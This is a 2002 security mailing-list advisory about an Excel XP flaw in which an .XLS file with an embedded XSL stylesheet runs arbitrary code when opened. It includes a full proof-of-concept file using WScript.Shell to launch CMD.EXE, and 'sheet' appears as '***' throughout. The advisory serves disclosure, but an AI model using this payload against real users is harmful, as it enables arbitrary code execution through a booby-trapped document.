[NT] Excel XP XML Style*** Security Problem

From: support@securiteam.com
Date: 05/25/02 

From: support@securiteam.com
To: list@securiteam.com
Date: Sat, 25 May 2002 22:08:26 +0200 (CEST)

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  Excel XP XML Style*** Security Problem
------------------------------------------------------------------------

SUMMARY

Excel XP provides an interface to such new technologies as XML and XSLT.
Unfortunately the Excel implementation flawed allowing an attacker to
cause a user opening an .XLS file to cause him to execute arbitrary code.

DETAILS

Consider this XLS file
 ------xls_sux.xls-----
 <?xml version="1.0"?>
 <?xml-style*** type="text/xsl" href="#?m$ux" ?>
 <xsl:style*** xmlns:xsl="http://www.w3.org/TR/WD-xsl">
 <xsl:script>
 <![CDATA[ x=new ActiveXObject("WScript.Shell");
x.Run("%systemroot%\\SYSTEM32\\CMD.EXE /C DIR C:\\ /a /p /s"); ]]>
 </xsl:script>
 <msux>
 msux
 written by georgi guninski
 </msux>
 </xsl:style***>
 ----------------------

It contains both XML and a style*** in one file.

Note:
Excel does not give any warning to the user - just asks whether to use the
style *** or not. The default option is not to display it with the
style***.

ADDITIONAL INFORMATION

The information has been provided by <mailto:guninski@guninski.com>
Georgi Guninski.

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